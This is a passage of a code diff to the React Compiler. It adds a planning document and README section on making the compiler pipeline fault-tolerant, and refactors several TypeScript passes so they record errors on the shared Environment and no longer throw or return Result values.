- Instead of returning `Err(builder.errors)` at line 227-229, record errors on `env` via `env.recordErrors(builder.errors)` and return the (partial) HIR
|
||||
- Update the pipeline to call `lower(func, env)` directly instead of `lower(func, env).unwrap()`
|
||||
- Added try/catch around body lowering to catch thrown CompilerErrors (e.g., from `resolveBinding`) and record them
|
||||
|
||||
- [x] **3.2 Handle `var` declarations as `let`** (`src/HIR/BuildHIR.ts`, line ~855)
|
||||
- Record the Todo error, then treat `var` as `let` and continue lowering (instead of skipping the declaration)
|
||||
|
||||
- [x] **3.3 Handle `try/finally` by pruning `finally`** (`src/HIR/BuildHIR.ts`, lines ~1281-1296)
|
||||
- Already handled: `try` without `catch` pushes error and returns; `try` with `finally` pushes error and continues with `try/catch` portion only
|
||||
|
||||
- [x] **3.4 Handle `eval()` via UnsupportedNode** (`src/HIR/BuildHIR.ts`, line ~3568)
|
||||
- Already handled: records error via `builder.errors.push()` and continues
|
||||
|
||||
- [x] **3.5 Handle `with` statement via UnsupportedNode** (`src/HIR/BuildHIR.ts`, line ~1382)
|
||||
- Already handled: records error and emits `UnsupportedNode`
|
||||
|
||||
- [x] **3.6 Handle inline `class` declarations** (`src/HIR/BuildHIR.ts`, line ~1402)
|
||||
- Already handled: records error and emits `UnsupportedNode`
|
||||
|
||||
- [x] **3.7 Handle remaining Todo errors in expression lowering** (`src/HIR/BuildHIR.ts`)
|
||||
- Already handled: all ~60 error sites use `builder.errors.push()` to accumulate errors. The try/catch around body lowering provides a safety net for any that still throw.
|
||||
|
||||
- [x] **3.8 Handle `throw` inside `try/catch`** (`src/HIR/BuildHIR.ts`, line ~284)
|
||||
- Already handled: records error via `builder.errors.push()` and continues
|
||||
|
||||
- [x] **3.9 Handle `for` loops with missing test or expression init** (`src/HIR/BuildHIR.ts`, lines ~559, ~632)
|
||||
- For `for(;;)` (missing test): emit `true` as the test expression and add a branch terminal
|
||||
- For empty init (`for (; ...)`): add a placeholder instruction to avoid invariant about empty blocks
|
||||
- For expression init (`for (expr; ...)`): record error and lower the expression as best-effort
|
||||
- Changed `'unsupported'` terminal to `'goto'` terminal for non-variable init to maintain valid CFG structure
|
||||
|
||||
- [x] **3.10 Handle nested function lowering failures** (`src/HIR/BuildHIR.ts`, `lowerFunction` at line ~3504)
|
||||
- `lowerFunction()` now always returns `LoweredFunction` since `lower()` always returns `HIRFunction`
|
||||
- Errors from nested functions are recorded on the shared environment
|
||||
- Removed the `null` return case and the corresponding `UnsupportedNode` fallback in callers
|
||||
|
||||
- [x] **3.11 Handle unreachable functions in `build()`** (`src/HIR/HIRBuilder.ts`, `build()`)
|
||||
- Changed `CompilerError.throwTodo()` for unreachable code with hoisted declarations to `this.errors.push()` to allow HIR construction to complete
|
||||
|
||||
- [x] **3.12 Handle duplicate fbt tags** (`src/HIR/BuildHIR.ts`, line ~2279)
|
||||
- Changed `CompilerError.throwDiagnostic()` to `builder.errors.pushDiagnostic()` to record instead of throw
|
||||
|
||||
### Phase 4: Update Validation Passes
|
||||
|
||||
All validation passes need to record errors on the environment instead of returning `Result` or throwing. They should still detect the same problems, but the pipeline should continue after each one.
|
||||
|
||||
#### Pattern A passes (currently return `Result`, called with `.unwrap()`)
|
||||
|
||||
These passes already accumulate errors internally and return `Result<void, CompilerError>`. The change is: instead of returning the Result, record errors on `env` and return void. Remove the `.unwrap()` call in Pipeline.ts.
|
||||
|
||||
- [x] **4.1 `validateHooksUsage`** (`src/Validation/ValidateHooksUsage.ts`)
|
||||
- Change signature from `(fn: HIRFunction): Result<void, CompilerError>` to `(fn: HIRFunction): void`
|
||||
- Record errors on `fn.env` instead of returning `errors.asResult()`
|
||||
- Update Pipeline.ts call site (line 211): remove `.unwrap()`
|
||||
|
||||
- [x] **4.2 `validateNoCapitalizedCalls`** (`src/Validation/ValidateNoCapitalizedCalls.ts`)
|
||||
- Change signature to return void
|
||||
- Fix the hybrid pattern: the direct `CallExpression` path currently throws via `CompilerError.throwInvalidReact()` — change to record on env
|
||||
- The `MethodCall` path already accumulates — change to record on env
|
||||
- Update Pipeline.ts call site (line 214): remove `.unwrap()`
|
||||
|
||||
- [x] **4.3 `validateUseMemo`** (`src/Validation/ValidateUseMemo.ts`)
|
||||
- Change signature to return void
|
||||
- Record hard errors on env instead of returning `errors.asResult()`
|
||||
- The soft `voidMemoErrors` path already uses `env.logErrors()` — keep as-is or also record
|
||||
- Update Pipeline.ts call site (line 170): remove `.unwrap()`
|
||||
|
||||
- [x] **4.4 `dropManualMemoization`** (`src/Inference/DropManualMemoization.ts`)
|
||||
- Change signature to return void
|
||||
- Record errors on env instead of returning `errors.asResult()`
|
||||
- Update Pipeline.ts call site (line 178): remove `.unwrap()`
|
||||
|
||||
- [x] **4.5 `validateNoRefAccessInRender`** (`src/Validation/ValidateNoRefAccessInRender.ts`)
|
||||
- Change signature to return void
|
||||
- Record errors on env instead of returning Result
|
||||
- Update Pipeline.ts call site (line 275): remove `.unwrap()`
|
||||
|
||||
- [x] **4.6 `validateNoSetStateInRender`** (`src/Validation/ValidateNoSetStateInRender.ts`)
|
||||
- Change signature to return void
|
||||
- Record errors on env
|
||||
- Update Pipeline.ts call site (line 279): remove `.unwrap()`
|
||||
|
||||
- [x] **4.7 `validateNoImpureFunctionsInRender`** (`src/Validation/ValidateNoImpureFunctionsInRender.ts`)
|
||||
- Change signature to return void
|
||||
- Record errors on env
|
||||
- Update Pipeline.ts call site (line 300): remove `.unwrap()`
|
||||
|
||||
- [x] **4.8 `validateNoFreezingKnownMutableFunctions`** (`src/Validation/ValidateNoFreezingKnownMutableFunctions.ts`)
|
||||
- Change signature to return void
|
||||
- Record errors on env
|
||||
- Update Pipeline.ts call site (line 303): remove `.unwrap()`
|
||||
|
||||
- [x] **4.9 `validateExhaustiveDependencies`** (`src/Validation/ValidateExhaustiveDependencies.ts`)
|
||||
- Change signature to return void
|
||||
- Record errors on env
|
||||
- Update Pipeline.ts call site (line 315): remove `.unwrap()`
|
||||
|
||||
- [x] **4.10 `validateMemoizedEffectDependencies`** (`src/Validation/ValidateMemoizedEffectDependencies.ts`)
|
||||
- Change signature to return void (note: operates on `ReactiveFunction`)
|
||||
- Record errors on the function's env
|
||||
- Update Pipeline.ts call site (line 565): remove `.unwrap()`
|
||||
|
||||
- [x] **4.11 `validatePreservedManualMemoization`** (`src/Validation/ValidatePreservedManualMemoization.ts`)
|
||||
- Change signature to return void (note: operates on `ReactiveFunction`)
|
||||
- Record errors on the function's env
|
||||
- Update Pipeline.ts call site (line 572): remove `.unwrap()`
|
||||
|
||||
- [x] **4.12 `validateSourceLocations`** (`src/Validation/ValidateSourceLocations.ts`)
|
||||
- Change signature to return void
|
||||
- Record errors on env
|
||||
- Update Pipeline.ts call site (line 585): remove `.unwrap()`
|
||||
|
||||
#### Pattern B passes (currently use `env.logErrors()`)
|
||||
|
||||
These already use a soft-logging pattern and don't block compilation. They can be migrated to `env.recordError()` so all errors are aggregated in one place.
|
||||
|
||||
- [ ] **4.13 `validateNoDerivedComputationsInEffects_exp`** — change to record on env directly
|
||||
- [ ] **4.14 `validateNoSetStateInEffects`** — change to record on env directly
|
||||
- [ ] **4.15 `validateNoJSXInTryStatement`** — change to record on env directly
|
||||
- [ ] **4.16 `validateStaticComponents`** — change to record on env directly
|
||||
|
||||
#### Pattern D passes (currently throw directly, no Result)
|
||||
|
||||
These throw `CompilerError` directly (not via Result). They need the most work.
|
||||
|
||||
- [x] **4.17 `validateContextVariableLValues`** (`src/Validation/ValidateContextVariableLValues.ts`)
|
||||
- Currently throws via `CompilerError.throwTodo()` and `CompilerError.invariant()`
|
||||
- Change to record Todo errors on env and continue
|
||||
- Keep invariant throws (those indicate internal bugs)
|
||||
|
||||
- [x] **4.18 `validateLocalsNotReassignedAfterRender`** (`src/Validation/ValidateLocalsNotReassignedAfterRender.ts`)
|
||||
- Currently constructs a `CompilerError` and `throw`s it directly
|
||||
- Change to record errors on env
|
||||
|
||||
- [x] **4.19 `validateNoDerivedComputationsInEffects`** (`src/Validation/ValidateNoDerivedComputationsInEffects.ts`)
|
||||
- Currently throws directly
|
||||
- Change to record errors on env
|
||||
|
||||
### Phase 5: Update Inference Passes
|
||||
|
||||
The inference passes are the most critical to handle correctly because they produce side effects (populating effects on instructions, computing mutable ranges) that downstream passes depend on. They must continue producing valid (even if imprecise) output when errors are encountered.
|
||||
|
||||
- [x] **5.1 `inferMutationAliasingEffects`** (`src/Inference/InferMutationAliasingEffects.ts`)
|
||||
- Currently returns `Result<void, CompilerError>` — errors are about mutation of frozen/global values
|
||||
- Change to record errors on `fn.env` instead of accumulating internally
|
||||
- **Key recovery strategy**: When a mutation of a frozen value is detected, record the error but treat the operation as a non-mutating read. This way downstream passes see a consistent (if conservative) view
|
||||
- When a mutation of a global is detected, record the error but continue with the global unchanged
|
||||
- Update Pipeline.ts (lines 233-239): remove the conditional `.isErr()` / throw pattern
|
||||
|
||||
- [x] **5.2 `inferMutationAliasingRanges`** (`src/Inference/InferMutationAliasingRanges.ts`)
|
||||
- Currently returns `Result<Array<AliasingEffect>, CompilerError>`
|
||||
- This pass has a meaningful success value (the function's external aliasing effects)
|
||||
- Change to: always produce a best-effort effects array, record errors on env
|
||||
- When errors are encountered, produce conservative effects (e.g., assume no external mutation)
|
||||
- Update Pipeline.ts (lines 258-267): remove the conditional throw pattern, call directly
|
||||
|
||||
### Phase 6: Update Codegen
|
||||
|
||||
- [x] **6.1 `codegenFunction`** (`src/ReactiveScopes/CodegenReactiveFunction.ts`)
|
||||
- Currently returns `Result<CodegenFunction, CompilerError>`
|
||||
- Change to: always produce a `CodegenFunction`, record errors on env
|
||||
- If codegen encounters an error (e.g., an instruction it can't generate code for), it should:
|
||||
- Record the error
|
||||
- For `UnsupportedNode` values: pass through the original AST node (already works this way)
|
||||
- For other error cases: emit a placeholder or the original AST where possible
|
||||
- Update Pipeline.ts (line 575-578): remove `.unwrap()`
|
||||
|
||||
### Phase 7: Pipeline.ts Pass-by-Pass Migration
|
||||
|
||||
Walk through `runWithEnvironment` and wrap each pass call site. This is the integration work tying Phases 3-6 together.
|
||||
|
||||
- [x] **7.1 Wrap `lower()` call** (line 163)
|
||||
- Change from `lower(func, env).unwrap()` to `lower(func, env)` (direct return after Phase 3.1)
|
||||
|
||||
- [x] **7.2 Wrap validation calls that use `.unwrap()`** (lines 169-303)
|
||||
- Remove `.unwrap()` from all validation calls after they're updated in Phase 4
|
||||
- For validations guarded by `env.enableValidations`, keep the guard but remove the `.unwrap()`
|
||||
|
||||
- [x] **7.3 Wrap inference calls** (lines 233-267)
|
||||
- After Phase 5, `inferMutationAliasingEffects` and `inferMutationAliasingRanges` record errors directly
|
||||
- Remove the `mutabilityAliasingErrors` / `mutabilityAliasingRangeErrors` variables and their conditional throw logic
|
||||
|
||||
- [x] **7.4 Wrap `env.logErrors()` calls** (lines 286-331)
|
||||
- After Phase 4.13-4.16, these passes record on env directly
|
||||
- Remove the `env.logErrors()` wrapper calls
|
||||
|
||||
- [x] **7.5 Wrap codegen** (lines 575-578)
|
||||
- After Phase 6.1, `codegenFunction` returns directly
|
||||
- Remove the `.unwrap()`
|
||||
|
||||
- [x] **7.6 Add final error check** (end of `runWithEnvironment`)
|
||||
- After all passes complete, check `env.hasErrors()`
|
||||
- If no errors: return `Ok(ast)`
|
||||
- If errors: return `Err(env.aggregateErrors())`
|
||||
|
||||
- [x] **7.7 Consider wrapping each pass in `env.tryRecord()`** as a safety net
|
||||
- Even after individual passes are updated, wrapping each pass call in `env.tryRecord()` provides defense-in-depth
|
||||
- If a pass unexpectedly throws a CompilerError (e.g., from a code path we missed), it gets caught and recorded rather than aborting the pipeline
|
||||
- Non-CompilerError exceptions and invariants still propagate immediately
|
||||
|
||||
### Phase 8: Testing
|
||||
|
||||
- [x] **8.1 Update existing `error.todo-*` fixture expectations**
|
||||
- Currently, fixtures with `error.todo-` prefix expect a single error and bailout
|
||||
- After fault tolerance, some of these may now produce multiple errors
|
||||
- Update the `.expect.md` files to reflect the new aggregated error output
|
||||
|
||||
- [x] **8.2 Add multi-error test fixtures**
|
||||
- Create test fixtures that contain multiple independent errors (e.g., both a `var` declaration and a mutation of a frozen value)
|
||||
- Verify that all errors are reported, not just the first one
|
||||
|
||||
- [x] **8.3 Add test for invariant-still-throws behavior**
|
||||
- Verify that `CompilerError.invariant()` failures still cause immediate abort
|
||||
- Verify that non-CompilerError exceptions still cause immediate abort
|
||||
|
||||
- [x] **8.4 Add test for partial HIR codegen**
|
||||
- Verify that when BuildHIR produces partial HIR (with `UnsupportedNode` values), later passes handle it gracefully and codegen produces the original AST for unsupported portions
|
||||
|
||||
- [x] **8.5 Verify error severity in aggregated output**
|
||||
- Test that the aggregated `CompilerError` correctly reports `hasErrors()` vs `hasWarning()` vs `hasHints()` based on the mix of accumulated diagnostics
|
||||
- Verify that `panicThreshold` behavior in Program.ts is correct for aggregated errors
|
||||
|
||||
- [x] **8.6 Run full test suite**
|
||||
- Run `yarn snap` and `yarn snap -u` to update all fixture expectations
|
||||
- Ensure no regressions in passing tests
|
||||
|
||||
### Implementation Notes
|
||||
|
||||
**Ordering**: Phases 1 → 2 → 3 → 4/5/6 (parallel) → 7 → 8. Phase 1 (Environment infrastructure) is the foundation. Phase 2 (Pipeline return type) sets up the contract. Phases 3-6 can be done incrementally — each pass can be migrated independently using `env.tryRecord()` as a transitional wrapper. Phase 7 is the integration. Phase 8 validates everything.
|
||||
|
||||
**Incremental migration path**: Rather than updating all passes at once, each pass can be individually migrated. During the transition:
|
||||
1. First add `env.tryRecord()` in Phase 7.7 around all pass calls in the pipeline — this immediately provides fault tolerance by catching any thrown CompilerError
|
||||
2. Then individually update passes (Phases 3-6) to record errors directly on env, which is cleaner but not required for the basic behavior
|
||||
3. This means the feature can be landed incrementally: Phase 1 + 2 + 7.7 gives basic fault tolerance, then individual passes can be refined over time
|
||||
|
||||
**What NOT to change**:
|
||||
- `CompilerError.invariant()` must continue to throw immediately — these represent internal bugs
|
||||
- Non-CompilerError exceptions must continue to throw — these are unexpected JS errors
|
||||
- The `assertConsistentIdentifiers`, `assertTerminalSuccessorsExist`, `assertTerminalPredsExist`, `assertValidBlockNesting`, `assertValidMutableRanges`, `assertWellFormedBreakTargets`, `assertScopeInstructionsWithinScopes` assertion functions should continue to throw — they are invariant checks on internal data structure consistency
|
||||
- The `panicThreshold` mechanism in Program.ts should continue to work — it now operates on the aggregated error from the Result rather than a caught exception, but the behavior is the same
|
||||
|
||||
## Key Learnings
|
||||
|
||||
* **Phase 2+7 (Pipeline tryRecord wrapping) was sufficient for basic fault tolerance.** Wrapping all passes in `env.tryRecord()` immediately enabled the compiler to continue past errors that previously threw. This caused 52 test fixtures to produce additional errors that were previously masked by the first error bailing out. For example, `error.todo-reassign-const` previously reported only "Support destructuring of context variables" but now also reports the immutability violation.
|
||||
* **Lint-only passes (Pattern B: `env.logErrors()`) should not use `tryRecord()`/`recordError()`** because those errors are intentionally non-blocking. They are reported via the logger only and should not cause the pipeline to return `Err`. The `logErrors` pattern was kept for `validateNoDerivedComputationsInEffects_exp`, `validateNoSetStateInEffects`, `validateNoJSXInTryStatement`, and `validateStaticComponents`.
|
||||
* **Inference passes that return `Result` with validation errors** (`inferMutationAliasingEffects`, `inferMutationAliasingRanges`) were changed to record errors via `env.recordErrors()` instead of throwing, allowing subsequent passes to proceed.
|
||||
* **Value-producing passes** (`memoizeFbtAndMacroOperandsInSameScope`, `renameVariables`, `buildReactiveFunction`) need safe default values when wrapped in `tryRecord()` since the callback can't return values. We initialize with empty defaults (e.g., `new Set()`) before the `tryRecord()` call.
|
||||
* **Phase 3 (BuildHIR) revealed that most error sites already used `builder.errors.push()` for accumulation.** The existing lowering code was designed to accumulate errors rather than throw. The main changes were: (1) changing `lower()` return type from `Result` to `HIRFunction`, (2) recording builder errors on env, (3) adding a try/catch around body lowering to catch thrown CompilerErrors from sub-calls like `resolveBinding()`, (4) treating `var` as `let` instead of skipping declarations, and (5) fixing ForStatement init/test handling to produce valid CFG structure.
|
||||
* **Partial HIR can trigger downstream invariants.** When lowering skips or partially handles constructs (e.g., unreachable hoisted functions, `var` declarations before the fix), downstream passes like `InferMutationAliasingEffects` may encounter uninitialized identifiers and throw invariants. This is acceptable since the function still correctly bails out of compilation, but error messages may be less specific. The fix for `var` (treating as `let`) demonstrates how to avoid this: continue lowering with a best-effort representation rather than skipping entirely.
|
||||
* **Errors accumulated on `env` are lost when an invariant propagates out of the pipeline.** Since invariant CompilerErrors always re-throw through `tryRecord()`, they exit the pipeline as exceptions. The caller only sees the invariant error, not any errors previously recorded on `env`. This is a design limitation that could be addressed by aggregating env errors with caught exceptions in `tryCompileFunction()`.
|
||||
* **Dedicated fault tolerance test fixtures** were added in `__tests__/fixtures/compiler/fault-tolerance/`. Each fixture combines two or more errors from different passes to verify the compiler reports all of them rather than short-circuiting on the first. Coverage includes: `var`+props mutation (BuildHIR→InferMutationAliasingEffects), `var`+ref access (BuildHIR→ValidateNoRefAccessInRender), `try/finally`+props mutation (BuildHIR→InferMutationAliasingEffects), `try/finally`+ref access (BuildHIR→ValidateNoRefAccessInRender), and a 3-error test combining try/finally+ref access+props mutation.
|
||||
* **Cleanup: consistent `tryRecord()` wrapping in Pipeline.ts.** All validation passes and inference passes are now wrapped in `env.tryRecord()` for defense-in-depth, consistent with the approach used for transform passes. Previously only transform passes were wrapped. Merged duplicate `env.enableValidations` guard blocks. Pattern B lint-only passes (`env.logErrors()`) were intentionally not wrapped since they use a different error recording strategy.
|
||||
* **Cleanup: normalized validation error recording pattern.** Four validation passes (`ValidateNoDerivedComputationsInEffects`, `ValidateMemoizedEffectDependencies`, `ValidatePreservedManualMemoization`, `ValidateSourceLocations`) were using `for (const detail of errors.details) { env.recordError(detail); }` instead of the simpler `env.recordErrors(errors)`. Normalized to use the batch method.
|
||||
|
||||
@@ -302,6 +302,15 @@ yarn snap minimize <path>
|
||||
yarn snap -u
|
||||
```
|
||||
|
||||
## Fault Tolerance
|
||||
|
||||
The pipeline is fault-tolerant: all passes run to completion, accumulating errors on `Environment` rather than aborting on the first error.
|
||||
|
||||
- **Validation passes** are wrapped in `env.tryRecord()` in Pipeline.ts, which catches non-invariant `CompilerError`s and records them. If a validation pass throws, compilation continues.
|
||||
- **Infrastructure/transformation passes** (enterSSA, eliminateRedundantPhi, inferMutationAliasingEffects, codegen, etc.) are NOT wrapped in `tryRecord()` because subsequent passes depend on their output being structurally valid. If they fail, compilation aborts.
|
||||
- **`lower()` (BuildHIR)** always produces an `HIRFunction`, recording errors on `env` instead of returning `Err`. Unsupported constructs (e.g., `var`) are lowered best-effort.
|
||||
- At the end of the pipeline, `env.hasErrors()` determines whether to return `Ok(codegen)` or `Err(aggregatedErrors)`.
|
||||
|
||||
## Further Reading
|
||||
|
||||
- [MUTABILITY_ALIASING_MODEL.md](../../src/Inference/MUTABILITY_ALIASING_MODEL.md): Detailed aliasing model docs
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -826,6 +826,7 @@ export type StartMemoize = {
|
||||
* emitting diagnostics with a suggested replacement
|
||||
*/
|
||||
depsLoc: SourceLocation | null;
|
||||
hasInvalidDeps?: true;
|
||||
loc: SourceLocation;
|
||||
};
|
||||
export type FinishMemoize = {
|
||||
|
||||
@@ -7,7 +7,12 @@
|
||||
|
||||
import {Binding, NodePath} from '@babel/traverse';
|
||||
import * as t from '@babel/types';
|
||||
import {CompilerError, ErrorCategory} from '../CompilerError';
|
||||
import {
|
||||
CompilerError,
|
||||
CompilerDiagnostic,
|
||||
CompilerErrorDetail,
|
||||
ErrorCategory,
|
||||
} from '../CompilerError';
|
||||
import {Environment} from './Environment';
|
||||
import {
|
||||
BasicBlock,
|
||||
@@ -110,7 +115,6 @@ export default class HIRBuilder {
|
||||
#bindings: Bindings;
|
||||
#env: Environment;
|
||||
#exceptionHandlerStack: Array<BlockId> = [];
|
||||
errors: CompilerError = new CompilerError();
|
||||
/**
|
||||
* Traversal context: counts the number of `fbt` tag parents
|
||||
* of the current babel node.
|
||||
@@ -148,6 +152,10 @@ export default class HIRBuilder {
|
||||
this.#current = newBlock(this.#entry, options?.entryBlockKind ?? 'block');
|
||||
}
|
||||
|
||||
recordError(error: CompilerDiagnostic | CompilerErrorDetail): void {
|
||||
this.#env.recordError(error);
|
||||
}
|
||||
|
||||
currentBlockKind(): BlockKind {
|
||||
return this.#current.kind;
|
||||
}
|
||||
@@ -308,24 +316,28 @@ export default class HIRBuilder {
|
||||
|
||||
resolveBinding(node: t.Identifier): Identifier {
|
||||
if (node.name === 'fbt') {
|
||||
this.errors.push({
|
||||
category: ErrorCategory.Todo,
|
||||
reason: 'Support local variables named `fbt`',
|
||||
description:
|
||||
'Local variables named `fbt` may conflict with the fbt plugin and are not yet supported',
|
||||
loc: node.loc ?? GeneratedSource,
|
||||
suggestions: null,
|
||||
});
|
||||
this.recordError(
|
||||
new CompilerErrorDetail({
|
||||
category: ErrorCategory.Todo,
|
||||
reason: 'Support local variables named `fbt`',
|
||||
description:
|
||||
'Local variables named `fbt` may conflict with the fbt plugin and are not yet supported',
|
||||
loc: node.loc ?? GeneratedSource,
|
||||
suggestions: null,
|
||||
}),
|
||||
);
|
||||
}
|
||||
if (node.name === 'this') {
|
||||
this.errors.push({
|
||||
category: ErrorCategory.UnsupportedSyntax,
|
||||
reason: '`this` is not supported syntax',
|
||||
description:
|
||||
'React Compiler does not support compiling functions that use `this`',
|
||||
loc: node.loc ?? GeneratedSource,
|
||||
suggestions: null,
|
||||
});
|
||||
this.recordError(
|
||||
new CompilerErrorDetail({
|
||||
category: ErrorCategory.UnsupportedSyntax,
|
||||
reason: '`this` is not supported syntax',
|
||||
description:
|
||||
'React Compiler does not support compiling functions that use `this`',
|
||||
loc: node.loc ?? GeneratedSource,
|
||||
suggestions: null,
|
||||
}),
|
||||
);
|
||||
}
|
||||
const originalName = node.name;
|
||||
let name = originalName;
|
||||
@@ -371,13 +383,15 @@ export default class HIRBuilder {
|
||||
instr => instr.value.kind === 'FunctionExpression',
|
||||
)
|
||||
) {
|
||||
this.errors.push({
|
||||
reason: `Support functions with unreachable code that may contain hoisted declarations`,
|
||||
loc: block.instructions[0]?.loc ?? block.terminal.loc,
|
||||
description: null,
|
||||
suggestions: null,
|
||||
category: ErrorCategory.Todo,
|
||||
});
|
||||
this.recordError(
|
||||
new CompilerErrorDetail({
|
||||
reason: `Support functions with unreachable code that may contain hoisted declarations`,
|
||||
loc: block.instructions[0]?.loc ?? block.terminal.loc,
|
||||
description: null,
|
||||
suggestions: null,
|
||||
category: ErrorCategory.Todo,
|
||||
}),
|
||||
);
|
||||
}
|
||||
}
|
||||
ir.blocks = rpoBlocks;
|
||||
|
||||
@@ -293,7 +293,7 @@ function extractManualMemoizationArgs(
|
||||
instr: TInstruction<CallExpression> | TInstruction<MethodCall>,
|
||||
kind: 'useCallback' | 'useMemo',
|
||||
sidemap: IdentifierSidemap,
|
||||
errors: CompilerError,
|
||||
env: Environment,
|
||||
): {
|
||||
fnPlace: Place;
|
||||
depsList: Array<ManualMemoDependency> | null;
|
||||
@@ -303,7 +303,7 @@ function extractManualMemoizationArgs(
|
||||
Place | SpreadPattern | undefined
|
||||
>;
|
||||
if (fnPlace == null || fnPlace.kind !== 'Identifier') {
|
||||
errors.pushDiagnostic(
|
||||
env.recordError(
|
||||
CompilerDiagnostic.create({
|
||||
category: ErrorCategory.UseMemo,
|
||||
reason: `Expected a callback function to be passed to ${kind}`,
|
||||
@@ -335,7 +335,7 @@ function extractManualMemoizationArgs(
|
||||
? sidemap.maybeDepsLists.get(depsListPlace.identifier.id)
|
||||
: null;
|
||||
if (maybeDepsList == null) {
|
||||
errors.pushDiagnostic(
|
||||
env.recordError(
|
||||
CompilerDiagnostic.create({
|
||||
category: ErrorCategory.UseMemo,
|
||||
reason: `Expected the dependency list for ${kind} to be an array literal`,
|
||||
@@ -354,7 +354,7 @@ function extractManualMemoizationArgs(
|
||||
for (const dep of maybeDepsList.deps) {
|
||||
const maybeDep = sidemap.maybeDeps.get(dep.identifier.id);
|
||||
if (maybeDep == null) {
|
||||
errors.pushDiagnostic(
|
||||
env.recordError(
|
||||
CompilerDiagnostic.create({
|
||||
category: ErrorCategory.UseMemo,
|
||||
reason: `Expected the dependency list to be an array of simple expressions (e.g. \`x\`, \`x.y.z\`, \`x?.y?.z\`)`,
|
||||
@@ -389,7 +389,6 @@ function extractManualMemoizationArgs(
|
||||
* is only used for memoizing values and not for running arbitrary side effects.
|
||||
*/
|
||||
export function dropManualMemoization(func: HIRFunction): void {
|
||||
const errors = new CompilerError();
|
||||
const isValidationEnabled =
|
||||
func.env.config.validatePreserveExistingMemoizationGuarantees ||
|
||||
func.env.config.validateNoSetStateInRender ||
|
||||
@@ -436,7 +435,7 @@ export function dropManualMemoization(func: HIRFunction): void {
|
||||
instr as TInstruction<CallExpression> | TInstruction<MethodCall>,
|
||||
manualMemo.kind,
|
||||
sidemap,
|
||||
errors,
|
||||
func.env,
|
||||
);
|
||||
|
||||
if (memoDetails == null) {
|
||||
@@ -464,7 +463,7 @@ export function dropManualMemoization(func: HIRFunction): void {
|
||||
* is rare and likely sketchy.
|
||||
*/
|
||||
if (!sidemap.functions.has(fnPlace.identifier.id)) {
|
||||
errors.pushDiagnostic(
|
||||
func.env.recordError(
|
||||
CompilerDiagnostic.create({
|
||||
category: ErrorCategory.UseMemo,
|
||||
reason: `Expected the first argument to be an inline function expression`,
|
||||
@@ -549,10 +548,6 @@ export function dropManualMemoization(func: HIRFunction): void {
|
||||
markInstructionIds(func.body);
|
||||
}
|
||||
}
|
||||
|
||||
if (errors.hasAnyErrors()) {
|
||||
func.env.recordErrors(errors);
|
||||
}
|
||||
}
|
||||
|
||||
function findOptionalPlaces(fn: HIRFunction): Set<IdentifierId> {
|
||||
|
||||
@@ -513,7 +513,7 @@ function inferBlock(
|
||||
if (handlerParam != null) {
|
||||
CompilerError.invariant(state.kind(handlerParam) != null, {
|
||||
reason:
|
||||
'Expected catch binding to be intialized with a DeclareLocal Catch instruction',
|
||||
'Expected catch binding to be initialized with a DeclareLocal Catch instruction',
|
||||
loc: terminal.loc,
|
||||
});
|
||||
const effects: Array<AliasingEffect> = [];
|
||||
@@ -1315,7 +1315,7 @@ class InferenceState {
|
||||
#values: Map<InstructionValue, AbstractValue>;
|
||||
/*
|
||||
* The set of values pointed to by each identifier. This is a set
|
||||
* to accomodate phi points (where a variable may have different
|
||||
* to accommodate phi points (where a variable may have different
|
||||
* values from different control flow paths).
|
||||
*/
|
||||
#variables: Map<IdentifierId, Set<InstructionValue>>;
|
||||
|
||||
@@ -20,6 +20,7 @@ import {
|
||||
Place,
|
||||
isPrimitiveType,
|
||||
} from '../HIR/HIR';
|
||||
import {Environment} from '../HIR/Environment';
|
||||
import {
|
||||
eachInstructionLValue,
|
||||
eachInstructionValueOperand,
|
||||
@@ -107,7 +108,7 @@ export function inferMutationAliasingRanges(
|
||||
|
||||
let index = 0;
|
||||
|
||||
const errors = new CompilerError();
|
||||
const shouldRecordErrors = !isFunctionExpression && fn.env.enableValidations;
|
||||
|
||||
for (const param of [...fn.params, ...fn.context, fn.returns]) {
|
||||
const place = param.kind === 'Identifier' ? param : param.place;
|
||||
@@ -200,7 +201,9 @@ export function inferMutationAliasingRanges(
|
||||
effect.kind === 'MutateGlobal' ||
|
||||
effect.kind === 'Impure'
|
||||
) {
|
||||
errors.pushDiagnostic(effect.error);
|
||||
if (shouldRecordErrors) {
|
||||
fn.env.recordError(effect.error);
|
||||
}
|
||||
functionEffects.push(effect);
|
||||
} else if (effect.kind === 'Render') {
|
||||
renders.push({index: index++, place: effect.place});
|
||||
@@ -245,11 +248,15 @@ export function inferMutationAliasingRanges(
|
||||
mutation.kind,
|
||||
mutation.place.loc,
|
||||
mutation.reason,
|
||||
errors,
|
||||
shouldRecordErrors ? fn.env : null,
|
||||
);
|
||||
}
|
||||
for (const render of renders) {
|
||||
state.render(render.index, render.place.identifier, errors);
|
||||
state.render(
|
||||
render.index,
|
||||
render.place.identifier,
|
||||
shouldRecordErrors ? fn.env : null,
|
||||
);
|
||||
}
|
||||
for (const param of [...fn.context, ...fn.params]) {
|
||||
const place = param.kind === 'Identifier' ? param : param.place;
|
||||
@@ -498,7 +505,6 @@ export function inferMutationAliasingRanges(
|
||||
* would be transitively mutated needs a capture relationship.
|
||||
*/
|
||||
const tracked: Array<Place> = [];
|
||||
const ignoredErrors = new CompilerError();
|
||||
for (const param of [...fn.params, ...fn.context, fn.returns]) {
|
||||
const place = param.kind === 'Identifier' ? param : param.place;
|
||||
tracked.push(place);
|
||||
@@ -513,7 +519,7 @@ export function inferMutationAliasingRanges(
|
||||
MutationKind.Conditional,
|
||||
into.loc,
|
||||
null,
|
||||
ignoredErrors,
|
||||
null,
|
||||
);
|
||||
for (const from of tracked) {
|
||||
if (
|
||||
@@ -547,23 +553,17 @@ export function inferMutationAliasingRanges(
|
||||
}
|
||||
}
|
||||
|
||||
if (
|
||||
errors.hasAnyErrors() &&
|
||||
!isFunctionExpression &&
|
||||
fn.env.enableValidations
|
||||
) {
|
||||
fn.env.recordErrors(errors);
|
||||
}
|
||||
return functionEffects;
|
||||
}
|
||||
|
||||
function appendFunctionErrors(errors: CompilerError, fn: HIRFunction): void {
|
||||
function appendFunctionErrors(env: Environment | null, fn: HIRFunction): void {
|
||||
if (env == null) return;
|
||||
for (const effect of fn.aliasingEffects ?? []) {
|
||||
switch (effect.kind) {
|
||||
case 'Impure':
|
||||
case 'MutateFrozen':
|
||||
case 'MutateGlobal': {
|
||||
errors.pushDiagnostic(effect.error);
|
||||
env.recordError(effect.error);
|
||||
break;
|
||||
}
|
||||
}
|
||||
